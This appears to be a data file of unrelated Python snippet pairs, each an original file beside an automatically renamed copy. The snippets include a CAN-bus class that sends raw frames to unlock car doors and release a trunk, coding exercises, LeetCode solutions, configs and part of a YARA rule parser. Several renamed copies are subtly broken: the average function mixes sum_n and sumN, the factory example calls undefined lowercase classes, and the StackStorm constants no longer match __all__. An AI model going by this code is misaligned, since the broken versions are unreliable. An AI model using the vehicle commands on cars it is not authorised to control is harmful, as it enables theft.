msg = b'0\x0b\x0f\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def hazard_lights(self, on):
if on:
msg = b'0\x08\x0f\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def parking_lights(self, on):
if on:
msg = b'0%\x0f\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def headlight_low_beams(self, on):
if on:
msg = b'0\x1c\x0f\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def headlight_high_beams(self, on):
if on:
msg = b'0\x1d\x0f\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def front_fog_lights(self, on):
if on:
msg = b'0 \x0f\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def daytime_running_lights(self, on):
if on:
msg = b'06\x0f\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def lock_all_doors(self):
self.send(384899312, b'0\x04\x01\x00\x00\x00\x00\x00')
def unlock_all_doors(self):
self.send(384899312, b'0\x05\x01\x00\x00\x00\x00\x00')
def unlock_all_doors_alt(self):
self.send(384899312, b'0\x06\x01\x00\x00\x00\x00\x00')
def trunk_release(self):
self.send(384899312, b'0\t\x01\x00\x00\x00\x00\x00')
def front_wipers_slow(self, on):
if on:
msg = b'0\x19\x05\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def front_wipers_fast(self, on):
if on:
msg = b'0\x1a\x05\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def front_washer_pump(self, on):
if on:
msg = b'0\x1b\x05\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def rear_wiper(self, on):
if on:
msg = b'0\r\x05\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def rear_washer_pump(self, on):
if on:
msg = b'0\x0e\x05\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384899312, msg)
def left_blindspot_flash(self, on):
if on:
msg = b'0\x01\x08\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384933872, msg)
def right_blindspot_flash(self, on):
if on:
msg = b'0\x01\x08\x00\x00\x00\x00\x00'
else:
msg = b' '
self.send(384935920, msg) |
#!/usr/bin/env python
#
###############################################################################
# Author: Greg Zynda
# Last Modified: 12/09/2019
###############################################################################
# BSD 3-Clause License
#
# Copyright (c) 2019, Greg Zynda
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without
# modification, are permitted provided that the following conditions are met:
#
# * Redistributions of source code must retain the above copyright notice, this
# list of conditions and the following disclaimer.
#
# * Redistributions in binary form must reproduce the above copyright notice,
# this list of conditions and the following disclaimer in the documentation
# and/or other materials provided with the distribution.
#
# * Neither the name of the copyright holder nor the names of its
# contributors may be used to endorse or promote products derived from
# this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
###############################################################################
FORMAT = "[%(levelname)s - %(filename)s:%(lineno)s - %(funcName)15s] %(message)s"
BaseIndex = {'A':0, 'T':1, 'G':2, 'C':3, \
0:'A', 1:'T', 2:'G', 3:'C'}
def main():
pass
if __name__ == "__main__":
main()
| format = '[%(levelname)s - %(filename)s:%(lineno)s - %(funcName)15s] %(message)s'
base_index = {'A': 0, 'T': 1, 'G': 2, 'C': 3, 0: 'A', 1: 'T', 2: 'G', 3: 'C'}
def main():
pass
if __name__ == '__main__':
main() |
class queue(object):
"""
A queue is a container of objects (a linear collection)
that are inserted and removed according to the
first-in first-out (FIFO) principle.
>>> from pydsa import queue
>>> q = queue()
>>> q.enqueue(5)
>>> q.enqueue(8)
>>> q.enqueue(19)
>>> q.dequeue()
5
"""
def __init__(self):
self.List = []
def isEmpty(self):
return self.List == []
def enqueue(self, item):
"""
Insert element in queue.
"""
self.List.append(item)
def dequeue(self):
"""
Remove element from front of the Queue.
"""
return self.List.pop(0)
def size(self):
"""
Return size of Queue.
"""
return len(self.List)
| class Queue(object):
"""
A queue is a container of objects (a linear collection)
that are inserted and removed according to the
first-in first-out (FIFO) principle.
>>> from pydsa import queue
>>> q = queue()
>>> q.enqueue(5)
>>> q.enqueue(8)
>>> q.enqueue(19)
>>> q.dequeue()
5
"""
def __init__(self):
self.List = []
def is_empty(self):
return self.List == []
def enqueue(self, item):
"""
Insert element in queue.
"""
self.List.append(item)
def dequeue(self):
"""
Remove element from front of the Queue.
"""
return self.List.pop(0)
def size(self):
"""
Return size of Queue.
"""
return len(self.List) |
def average(array):
array = set(array)
sumN = 0
for x in array:
sumN = sumN + x
return(sumN/len(array))
| def average(array):
array = set(array)
sum_n = 0
for x in array:
sum_n = sumN + x
return sumN / len(array) |
# Using Sorting
# Overall complexity: O(n log n ) as sorted() has that complexity
def unique2(S):
temp = sorted(S)
for j in range(1, len(S)): # O(n)
if temp[j-1] == temp[j]: # O(1)
return False
return True
if __name__ == "__main__":
a1 = [1, 2, 3, 5, 7, 9, 4]
print("The elements of {} are {}".format(a1, 'unique' if unique2(a1) else 'not unique'))
a2 = [1, 2, 3, 5, 7, 9, 1]
print("The elements of {} are {}".format(a2, 'unique' if unique2(a2) else 'not unique')) | def unique2(S):
temp = sorted(S)
for j in range(1, len(S)):
if temp[j - 1] == temp[j]:
return False
return True
if __name__ == '__main__':
a1 = [1, 2, 3, 5, 7, 9, 4]
print('The elements of {} are {}'.format(a1, 'unique' if unique2(a1) else 'not unique'))
a2 = [1, 2, 3, 5, 7, 9, 1]
print('The elements of {} are {}'.format(a2, 'unique' if unique2(a2) else 'not unique')) |
def get_city_year(p0,perc,delta,target):
years = 0
if p0 * (perc/100) + delta <= 0:
return -1
while p0 < target:
p0 = p0 + p0 * (perc/100) + delta
years += 1
return years
# a = int(input("Input current population:"))
# b = float(input("Input percentage increase:"))
# c = int(input("Input delta:"))
# d = int(input("Input future population:"))
# print(get_city_year(a,b,c,d))
print(get_city_year(1000, 2, -50, 5000))
print(get_city_year(1500, 5, 100, 5000))
print(get_city_year(1500000, 2.5, 10000, 2000000)) | def get_city_year(p0, perc, delta, target):
years = 0
if p0 * (perc / 100) + delta <= 0:
return -1
while p0 < target:
p0 = p0 + p0 * (perc / 100) + delta
years += 1
return years
print(get_city_year(1000, 2, -50, 5000))
print(get_city_year(1500, 5, 100, 5000))
print(get_city_year(1500000, 2.5, 10000, 2000000)) |
class Solution:
def twoSum(self, nums: List[int], target: int) -> List[int]:
map = { }
for i in range(len(nums)):
if target - nums[i] in map:
return [map[target - nums[i]] , i]
else:
map[nums[i]] = i
| class Solution:
def two_sum(self, nums: List[int], target: int) -> List[int]:
map = {}
for i in range(len(nums)):
if target - nums[i] in map:
return [map[target - nums[i]], i]
else:
map[nums[i]] = i |
def rectangle(width, height):
answer = width * height
answer = int(answer)
return answer
print(rectangle(int(input()), int(input()))) | def rectangle(width, height):
answer = width * height
answer = int(answer)
return answer
print(rectangle(int(input()), int(input()))) |
"""
1021. Remove Outermost Parentheses
Easy
A valid parentheses string is either empty (""), "(" + A + ")", or A + B, where A and B are valid parentheses strings, and + represents string concatenation. For example, "", "()", "(())()", and "(()(()))" are all valid parentheses strings.
A valid parentheses string S is primitive if it is nonempty, and there does not exist a way to split it into S = A+B, with A and B nonempty valid parentheses strings.
Given a valid parentheses string S, consider its primitive decomposition: S = P_1 + P_2 + ... + P_k, where P_i are primitive valid parentheses strings.
Return S after removing the outermost parentheses of every primitive string in the primitive decomposition of S.
Example 1:
Input: "(()())(())"
Output: "()()()"
Explanation:
The input string is "(()())(())", with primitive decomposition "(()())" + "(())".
After removing outer parentheses of each part, this is "()()" + "()" = "()()()".
Example 2:
Input: "(()())(())(()(()))"
Output: "()()()()(())"
Explanation:
The input string is "(()())(())(()(()))", with primitive decomposition "(()())" + "(())" + "(()(()))".
After removing outer parentheses of each part, this is "()()" + "()" + "()(())" = "()()()()(())".
Example 3:
Input: "()()"
Output: ""
Explanation:
The input string is "()()", with primitive decomposition "()" + "()".
After removing outer parentheses of each part, this is "" + "" = "".
Note:
S.length <= 10000
S[i] is "(" or ")"
S is a valid parentheses string
"""
class Solution:
def removeOuterParentheses(self, S: str) -> str:
res, stack = "", []
for c in S:
if c == '(':
if stack:
res += c
stack.append("(")
if c == ')':
stack.pop()
if stack:
res += c
return res
class Solution:
def removeOuterParentheses(self, S: str) -> str:
res, count = [], 0
for c in S:
if c == '(' and count > 0: res.append(c)
if c == ')' and count > 1: res.append(c)
count += 1 if c == '(' else -1
return "".join(res)
| """
1021. Remove Outermost Parentheses
Easy
A valid parentheses string is either empty (""), "(" + A + ")", or A + B, where A and B are valid parentheses strings, and + represents string concatenation. For example, "", "()", "(())()", and "(()(()))" are all valid parentheses strings.
A valid parentheses string S is primitive if it is nonempty, and there does not exist a way to split it into S = A+B, with A and B nonempty valid parentheses strings.
Given a valid parentheses string S, consider its primitive decomposition: S = P_1 + P_2 + ... + P_k, where P_i are primitive valid parentheses strings.
Return S after removing the outermost parentheses of every primitive string in the primitive decomposition of S.
Example 1:
Input: "(()())(())"
Output: "()()()"
Explanation:
The input string is "(()())(())", with primitive decomposition "(()())" + "(())".
After removing outer parentheses of each part, this is "()()" + "()" = "()()()".
Example 2:
Input: "(()())(())(()(()))"
Output: "()()()()(())"
Explanation:
The input string is "(()())(())(()(()))", with primitive decomposition "(()())" + "(())" + "(()(()))".
After removing outer parentheses of each part, this is "()()" + "()" + "()(())" = "()()()()(())".
Example 3:
Input: "()()"
Output: ""
Explanation:
The input string is "()()", with primitive decomposition "()" + "()".
After removing outer parentheses of each part, this is "" + "" = "".
Note:
S.length <= 10000
S[i] is "(" or ")"
S is a valid parentheses string
"""
class Solution:
def remove_outer_parentheses(self, S: str) -> str:
(res, stack) = ('', [])
for c in S:
if c == '(':
if stack:
res += c
stack.append('(')
if c == ')':
stack.pop()
if stack:
res += c
return res
class Solution:
def remove_outer_parentheses(self, S: str) -> str:
(res, count) = ([], 0)
for c in S:
if c == '(' and count > 0:
res.append(c)
if c == ')' and count > 1:
res.append(c)
count += 1 if c == '(' else -1
return ''.join(res) |
a=int(input("Enter the number:"))
if a %2 == 0:
print('Number is Even')
else:
print("Number is Odd")
| a = int(input('Enter the number:'))
if a % 2 == 0:
print('Number is Even')
else:
print('Number is Odd') |
def same_frequency(num1, num2):
"""Do these nums have same frequencies of digits?
>>> same_frequency(551122, 221515)
True
>>> same_frequency(321142, 3212215)
False
>>> same_frequency(1212, 2211)
True
"""
for num in str(num1):
if str(num1).count(num) != str(num2).count(num):
return False
return True
print(same_frequency(551122, 221515))
print(same_frequency(321142, 3212215))
print(same_frequency(1212, 2211)) | def same_frequency(num1, num2):
"""Do these nums have same frequencies of digits?
>>> same_frequency(551122, 221515)
True
>>> same_frequency(321142, 3212215)
False
>>> same_frequency(1212, 2211)
True
"""
for num in str(num1):
if str(num1).count(num) != str(num2).count(num):
return False
return True
print(same_frequency(551122, 221515))
print(same_frequency(321142, 3212215))
print(same_frequency(1212, 2211)) |
expected_output = {
"src":{
"31.1.1.2":{
"dest":{
"31.1.1.1":{
"interface":"GigabitEthernet0/0/0/0",
"location":"0/0/CPU0",
"session":{
"state":"UP",
"duration":"0d:0h:5m:50s",
"num_of_times_up":1,
"type":"PR/V4/SH",
"owner_info":{
"ipv4_static":{
"desired_interval_ms":500,
"desired_multiplier":6,
"adjusted_interval_ms":500,
"adjusted_multiplier":6
}
}
},
"received_parameters":{
"version":1,
"desired_tx_interval_ms":500,
"required_rx_interval_ms":500,
"required_echo_rx_interval_ms":0,
"multiplier":6,
"diag":"None",
"demand_bit":0,
"final_bit":0,
"poll_bit":0,
"control_bit":1,
"authentication_bit":0,
"my_discr":18,
"your_discr":2148532226,
"state":"UP"
},
"transmitted_parameters":{
"version":1,
"desired_tx_interval_ms":500,
"required_rx_interval_ms":500,
"required_echo_rx_interval_ms":1,
"multiplier":6,
"diag":"None",
"demand_bit":0,
"final_bit":0,
"poll_bit":0,
"control_bit":1,
"authentication_bit":0,
"my_discr":2148532226,
"your_discr":18,
"state":"UP"
},
"timer_vals":{
"local_async_tx_interval_ms":500,
"remote_async_tx_interval_ms":500,
"desired_echo_tx_interval_ms":500,
"local_echo_tax_interval_ms":0,
"echo_detection_time_ms":0,
"async_detection_time_ms":3000
},
"local_stats":{
"interval_async_packets":{
"Tx":{
"num_intervals":100,
"min_ms":1,
"max_ms":500,
"avg_ms":229,
"last_packet_transmitted_ms_ago":48
},
"Rx":{
"num_intervals":100,
"min_ms":490,
"max_ms":513,
"avg_ms":500,
"last_packet_received_ms_ago":304
}
},
"interval_echo_packets":{
"Tx":{
"num_intervals":0,
"min_ms":0,
"max_ms":0,
"avg_ms":0,
"last_packet_transmitted_ms_ago":0
},
"Rx":{
"num_intervals":0,
"min_ms":0,
"max_ms":0,
"avg_ms":0,
"last_packet_received_ms_ago":0
}
},
"latency_of_echo_packets":{
"num_of_packets":0,
"min_ms":0,
"max_ms":0,
"avg_ms":0
}
}
}
}
}
}
} | expected_output = {'src': {'31.1.1.2': {'dest': {'31.1.1.1': {'interface': 'GigabitEthernet0/0/0/0', 'location': '0/0/CPU0', 'session': {'state': 'UP', 'duration': '0d:0h:5m:50s', 'num_of_times_up': 1, 'type': 'PR/V4/SH', 'owner_info': {'ipv4_static': {'desired_interval_ms': 500, 'desired_multiplier': 6, 'adjusted_interval_ms': 500, 'adjusted_multiplier': 6}}}, 'received_parameters': {'version': 1, 'desired_tx_interval_ms': 500, 'required_rx_interval_ms': 500, 'required_echo_rx_interval_ms': 0, 'multiplier': 6, 'diag': 'None', 'demand_bit': 0, 'final_bit': 0, 'poll_bit': 0, 'control_bit': 1, 'authentication_bit': 0, 'my_discr': 18, 'your_discr': 2148532226, 'state': 'UP'}, 'transmitted_parameters': {'version': 1, 'desired_tx_interval_ms': 500, 'required_rx_interval_ms': 500, 'required_echo_rx_interval_ms': 1, 'multiplier': 6, 'diag': 'None', 'demand_bit': 0, 'final_bit': 0, 'poll_bit': 0, 'control_bit': 1, 'authentication_bit': 0, 'my_discr': 2148532226, 'your_discr': 18, 'state': 'UP'}, 'timer_vals': {'local_async_tx_interval_ms': 500, 'remote_async_tx_interval_ms': 500, 'desired_echo_tx_interval_ms': 500, 'local_echo_tax_interval_ms': 0, 'echo_detection_time_ms': 0, 'async_detection_time_ms': 3000}, 'local_stats': {'interval_async_packets': {'Tx': {'num_intervals': 100, 'min_ms': 1, 'max_ms': 500, 'avg_ms': 229, 'last_packet_transmitted_ms_ago': 48}, 'Rx': {'num_intervals': 100, 'min_ms': 490, 'max_ms': 513, 'avg_ms': 500, 'last_packet_received_ms_ago': 304}}, 'interval_echo_packets': {'Tx': {'num_intervals': 0, 'min_ms': 0, 'max_ms': 0, 'avg_ms': 0, 'last_packet_transmitted_ms_ago': 0}, 'Rx': {'num_intervals': 0, 'min_ms': 0, 'max_ms': 0, 'avg_ms': 0, 'last_packet_received_ms_ago': 0}}, 'latency_of_echo_packets': {'num_of_packets': 0, 'min_ms': 0, 'max_ms': 0, 'avg_ms': 0}}}}}}} |
# Copyright 2020 The StackStorm Authors.
# Copyright 2019 Extreme Networks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
__all__ = [
'TIMER_ENABLED_LOG_LINE',
'TIMER_DISABLED_LOG_LINE'
]
# Integration tests look for these loglines to validate timer enable/disable
TIMER_ENABLED_LOG_LINE = 'Timer is enabled.'
TIMER_DISABLED_LOG_LINE = 'Timer is disabled.'
| __all__ = ['TIMER_ENABLED_LOG_LINE', 'TIMER_DISABLED_LOG_LINE']
timer_enabled_log_line = 'Timer is enabled.'
timer_disabled_log_line = 'Timer is disabled.' |
REDIS_OPTIONS = {'db': 0}
TEST_REDIS_OPTIONS = {'db': 0}
DEBUG = False
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'handlers': {
'default': {
'level': 'INFO',
'class': 'logging.StreamHandler',
},
},
'loggers': {
'aiohttp.access': {
'handlers': ['default'],
'level': 'INFO',
},
'aiohttp.server': {
'handlers': ['default'],
'level': 'INFO',
},
}
}
| redis_options = {'db': 0}
test_redis_options = {'db': 0}
debug = False
logging = {'version': 1, 'disable_existing_loggers': False, 'handlers': {'default': {'level': 'INFO', 'class': 'logging.StreamHandler'}}, 'loggers': {'aiohttp.access': {'handlers': ['default'], 'level': 'INFO'}, 'aiohttp.server': {'handlers': ['default'], 'level': 'INFO'}}} |
# p41.py
def find_n(n):
if n == 1:
return 1
elif n/2 == int(n/2):
return find_n(n/2)
else:
return find_n(n-1) + 1
num1 = int(input())
print(find_n(num1))
| def find_n(n):
if n == 1:
return 1
elif n / 2 == int(n / 2):
return find_n(n / 2)
else:
return find_n(n - 1) + 1
num1 = int(input())
print(find_n(num1)) |
nome = str(input('Digite o seu nome: '))
dividido = nome.split()
print('='*25)
print(nome.upper())
print(nome.lower())
print('O seu nome tem {} letras.'.format(len(''.join(dividido))))
print('O seu primeiro nome tem {} letras.'.format(len(dividido[0])))
print('='*25)
| nome = str(input('Digite o seu nome: '))
dividido = nome.split()
print('=' * 25)
print(nome.upper())
print(nome.lower())
print('O seu nome tem {} letras.'.format(len(''.join(dividido))))
print('O seu primeiro nome tem {} letras.'.format(len(dividido[0])))
print('=' * 25) |
class Solution:
"""
https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/
Given an array of integers that is already sorted in ascending
order, find two numbers such that they add up to a specific
target number.
The function twoSum should return indices of the two numbers such
that they add up to the target, where index1 must be less than
index2. Please note that your returned answers (both index1 and
index2) are not zero-based.
You may assume that each input would have exactly one solution and
you may not use the same element twice.
Input: numbers={2, 7, 11, 15}, target=9
Output: index1=1, index2=2
"""
@staticmethod
def twoSum(numbers, target):
"""
:type numbers: List[int]
:type target: int
:rtype: List[int]
"""
seen = {}
for i, num in enumerate(numbers, 1):
try:
return [seen[num], i]
except KeyError:
seen[target - num] = i
| class Solution:
"""
https://leetcode.com/problems/two-sum-ii-input-array-is-sorted/
Given an array of integers that is already sorted in ascending
order, find two numbers such that they add up to a specific
target number.
The function twoSum should return indices of the two numbers such
that they add up to the target, where index1 must be less than
index2. Please note that your returned answers (both index1 and
index2) are not zero-based.
You may assume that each input would have exactly one solution and
you may not use the same element twice.
Input: numbers={2, 7, 11, 15}, target=9
Output: index1=1, index2=2
"""
@staticmethod
def two_sum(numbers, target):
"""
:type numbers: List[int]
:type target: int
:rtype: List[int]
"""
seen = {}
for (i, num) in enumerate(numbers, 1):
try:
return [seen[num], i]
except KeyError:
seen[target - num] = i |
height_map = ["".join(["9", line.rstrip(), "9"]) for line in open("input.txt", "r")]
height_map.insert(0, len(height_map[0])*"9")
height_map.append( len(height_map[0])*"9")
len_x, len_y = len(height_map), len(height_map[0])
risk_level_sum = 0
for x in range(1, len_x-1):
for y in range(1, len_y-1):
height = height_map[x][y]
if height_map[x-1][y ] > height and \
height_map[x ][y+1] > height and \
height_map[x+1][y ] > height and \
height_map[x ][y-1] > height:
risk_level_sum += (int(height) + 1)
print(risk_level_sum) | height_map = [''.join(['9', line.rstrip(), '9']) for line in open('input.txt', 'r')]
height_map.insert(0, len(height_map[0]) * '9')
height_map.append(len(height_map[0]) * '9')
(len_x, len_y) = (len(height_map), len(height_map[0]))
risk_level_sum = 0
for x in range(1, len_x - 1):
for y in range(1, len_y - 1):
height = height_map[x][y]
if height_map[x - 1][y] > height and height_map[x][y + 1] > height and (height_map[x + 1][y] > height) and (height_map[x][y - 1] > height):
risk_level_sum += int(height) + 1
print(risk_level_sum) |
def encode(message):
a = [message[0]]
b = []
count = 0
message+="1"
for x in message[1:]:
if a[-1] == x:
count+=1
else:
count+=1
b.append((a[-1],count))
count = 0
a.append(x)
encoded_message = ""
for x,y in b:
encoded_message += str(y)+str(x)
return encoded_message
#Provide different values for message and test your program
encoded_message=encode("ABBBBCCCCCCCCAB")
print(encoded_message) | def encode(message):
a = [message[0]]
b = []
count = 0
message += '1'
for x in message[1:]:
if a[-1] == x:
count += 1
else:
count += 1
b.append((a[-1], count))
count = 0
a.append(x)
encoded_message = ''
for (x, y) in b:
encoded_message += str(y) + str(x)
return encoded_message
encoded_message = encode('ABBBBCCCCCCCCAB')
print(encoded_message) |
class Student(object):
def __init__(self, user_email):
self.user_email = user_email
def some_action(self):
return "A student with " + self.user_email + " is attending a seminar"
class Teacher(object):
def __init__(self, user_email):
self.user_email = user_email
def some_action(self):
return "A teacher with " + self.user_email + " is taking a seminar"
class Administrator(object):
def __init__(self, user_email):
self.user_email = user_email
def some_action(self):
return "An administrator with " + self.user_email + \
" is arranging a seminar"
class User(object):
def __init__(self, user_email, user_type):
self.user_email = user_email
self.user_type = user_type.lower()
def factory(self):
if self.user_type == "student":
return Student(user_email=self.user_email)
elif self.user_type == "teacher":
return Teacher(user_email=self.user_email)
elif self.user_type == "administrator":
return Administrator(user_email=self.user_email)
raise ValueError("User type is not valid")
if __name__ == '__main__':
try:
user1 = User("dummy1@example.com", "Student").factory()
print(user1.some_action())
user2 = User("dummy2@example.com", "Teacher").factory()
print(user2.some_action())
user3 = User("dummy3@example.com", "Administrator").factory()
print(user3.some_action())
user4 = User("dummy4@example.com", "Guest").factory()
print(user4.some_action())
except Exception as e:
print(str(e))
| class Student(object):
def __init__(self, user_email):
self.user_email = user_email
def some_action(self):
return 'A student with ' + self.user_email + ' is attending a seminar'
class Teacher(object):
def __init__(self, user_email):
self.user_email = user_email
def some_action(self):
return 'A teacher with ' + self.user_email + ' is taking a seminar'
class Administrator(object):
def __init__(self, user_email):
self.user_email = user_email
def some_action(self):
return 'An administrator with ' + self.user_email + ' is arranging a seminar'
class User(object):
def __init__(self, user_email, user_type):
self.user_email = user_email
self.user_type = user_type.lower()
def factory(self):
if self.user_type == 'student':
return student(user_email=self.user_email)
elif self.user_type == 'teacher':
return teacher(user_email=self.user_email)
elif self.user_type == 'administrator':
return administrator(user_email=self.user_email)
raise value_error('User type is not valid')
if __name__ == '__main__':
try:
user1 = user('dummy1@example.com', 'Student').factory()
print(user1.some_action())
user2 = user('dummy2@example.com', 'Teacher').factory()
print(user2.some_action())
user3 = user('dummy3@example.com', 'Administrator').factory()
print(user3.some_action())
user4 = user('dummy4@example.com', 'Guest').factory()
print(user4.some_action())
except Exception as e:
print(str(e)) |
def gcd(a,b):
if a==0:
return b
elif b==0:
return a
elif b>a:
return gcd(b,a)
else:
return gcd(b,a%b)
t = int(input())
for i in range(t):
n = int(input())
for j in range(n):
l = list(map(int, input().split()))
print(l) | def gcd(a, b):
if a == 0:
return b
elif b == 0:
return a
elif b > a:
return gcd(b, a)
else:
return gcd(b, a % b)
t = int(input())
for i in range(t):
n = int(input())
for j in range(n):
l = list(map(int, input().split()))
print(l) |
#!/usr/bin/python
########################################################################
# Copyright (c) 2014
# Christopher Kannen <ckannen<at>uni-bonn<dot>de>
# Daniel Plohmann <daniel.plohmann<at>gmail<dot>com>
# All rights reserved.
########################################################################
#
# This file is part of IDAscope
#
# IDAscope is free software: you can redistribute it and/or modify it
# under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful, but
# WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see
# <http://www.gnu.org/licenses/>.
#
########################################################################
#
########################################################################
# from YaraStatusController import StatusController
class YaraRule(object):
""" Yara Rule class """
def __init__(self, parent):
self.parent = parent
self.statusController = parent.StatusController()
self.filename = ""
# set raw data of rule content, to be parsed by analyze* methods
self.raw_header = ""
self.raw_header_cleaned = ""
self.raw_meta = ""
self.raw_meta_cleaned = ""
self.raw_strings = ""
self.raw_strings_cleaned = ""
self.raw_condition = ""
self.raw_condition_cleaned = ""
# rule header
self.is_global = False
self.is_private = False
self.rule_name = ""
self.rule_description = []
# meta
self.meta = []
# strings
self.strings = []
#condition
self.condition = ""
# match data as provided by yara-python
self.match_data = {}
def checkRule(self):
unique_names = {}
for string in self.strings:
if string[1] in unique_names:
print("[!] Rule %s has duplicate variable name: \"%s\"" % (self.rule_name, self.filename, string[1]))
raise Exception("Duplicate variable name")
else:
unique_names[string[1]] = "loaded"
return True
def analyze(self):
self._analyzeHeader()
self._analyzeMeta()
self._analyzeStrings()
self._analyzeCondition()
def _linebreakAndTabsToSpace(self, content):
""" replace all linebreaks and tabs by spaces """
new_content = ""
for i in range(len(content)):
if (content[i] == "\r"):
new_content += " "
elif (content[i] == "\n"):
new_content += " "
elif (content[i] == "\t"):
new_content += " "
else:
new_content += content[i]
return new_content
def _analyzeHeader(self):
""" analyze Yara rule header, find keywords PRIVATE and GLOBAL, get rule NAME and DESCRIPTION """
self.statusController.reset()
# delete tabs and linebreaks and then split rule header into single words
raw_header_cleaned = self._linebreakAndTabsToSpace(self.raw_header_cleaned)
raw_header_cleaned = raw_header_cleaned.replace(":", " : ")
# analyze words
for header_word in raw_header_cleaned.split(" "):
if header_word == "private":
self.is_private = True
elif header_word == "global":
self.is_global = True
elif header_word == "rule":
self.statusController.status = "find_rule_name"
elif header_word == ":":
self.statusController.status = "find_rule_description"
elif self.statusController.status == "find_rule_name" and header_word != "":
self.rule_name = header_word
elif self.statusController.status == "find_rule_description" and header_word != "":
self.rule_description.append(header_word)
def _analyzeMeta(self):
""" analyze meta section of Yara rule and save tuples (meta name, meta value) in list of meta entries """
# current meta entry
meta_name = ""
meta_content = ""
# status ("find_name", "name", "find_field_value", "value")
self.statusController.reset("find_name")
# read meta string and replace line breaks and tabs
raw_meta = self.raw_meta
raw_meta_cleaned = self._linebreakAndTabsToSpace(self.raw_meta_cleaned)
# check if meta section exists
if (len(raw_meta_cleaned) == 0) or (raw_meta_cleaned.find(":") == -1):
return
# insert an additional whitespace at the end as end delimiter to handle compact rules
raw_meta += " "
raw_meta_cleaned += " "
# split at first colon
temp, meta_body_cleaned = raw_meta_cleaned.split(":", 1)
meta_body = raw_meta[len(temp) + 1:]
# go through file and split it in Yara rules and them in sections
for i in range(len(meta_body_cleaned)):
# find beginning of meta entry name
if self.statusController.controlStatus("find_name", not self.statusController.findKeyword(meta_body_cleaned, i, " "), "name"):
pass
# find end of meta entry name
elif self.statusController.controlStatus("name", self.statusController.findKeyword(meta_body_cleaned, i, "="), "find_field_value"):
continue
# find beginning of meta entry value
if self.statusController.controlStatus("find_field_value", not self.statusController.findKeyword(meta_body_cleaned, i, " "), "value"):
# skip first letter by continue if value is a string
if (meta_body_cleaned[i] == "\""):
continue
# find end of meta entry value
if self.statusController.controlStatus("value", i == len(meta_body_cleaned) - 1
or self.statusController.findKeyword(meta_body_cleaned, i, " ") or self.statusController.findKeyword(meta_body_cleaned, i, "\""), "find_name"):
if not self.statusController.findKeyword(meta_body_cleaned, i, " ") and i == len(meta_body_cleaned) - 1:
meta_content += meta_body[i]
if self.statusController.findKeyword(meta_body_cleaned, i, " ") or i == len(meta_body_cleaned) - 1:
if meta_content == "true":
meta_content = True
elif meta_content == "false":
meta_content = False
elif meta_content.isdigit():
meta_content = int(meta_content)
meta_name = meta_name.strip()
self.meta.append([meta_name, meta_content])
# reset variables
meta_name = ""
meta_content = ""
continue
# copy content in meta name or meta value
if (self.statusController.status == "name"):
meta_name += meta_body[i]
if (self.statusController.status == "value"):
meta_content += meta_body[i]
def _identifyStringType(self, indicator):
""" identify type of string (text, regex, byte array) by it's first character """
if indicator == "\"":
return "text"
if indicator == "/":
return "regular_expression"
if indicator == "{":
return "byte_array"
raise ValueError("Invalid string type indicator: %s" % indicator)
def _checkStringValueTerminator(self, string_type, char):
terminator_types = [("text", "\""), ("regular_expression", "/"), ("byte_array", "}")]
return (string_type, char) in terminator_types
def _analyzeStrings(self):
""" analyze strings section of Yara rule and save tuples (string name, string value, string type) in list of string entries """
# current string variable
var_name = ""
var_content = ""
var_keywords = []
# status ("find_name", "name", "find_field_value", "value")
self.statusController.reset("find_name")
# read strings string and replace line breaks and tabs
raw_strings = self.raw_strings
raw_strings_cleaned = self._linebreakAndTabsToSpace(self.raw_strings_cleaned)
# check if meta section exists
if ((len(raw_strings_cleaned) == 0) or (raw_strings_cleaned.find(":") == -1)):
return
# insert an additional whitespace at the end as end delimiter to handle compact rules
raw_strings += " "
raw_strings_cleaned += " "
# split at first colon
temp, raw_strings_cleaned = raw_strings_cleaned.split(":", 1)
raw_strings = raw_strings[len(temp) + 1:]
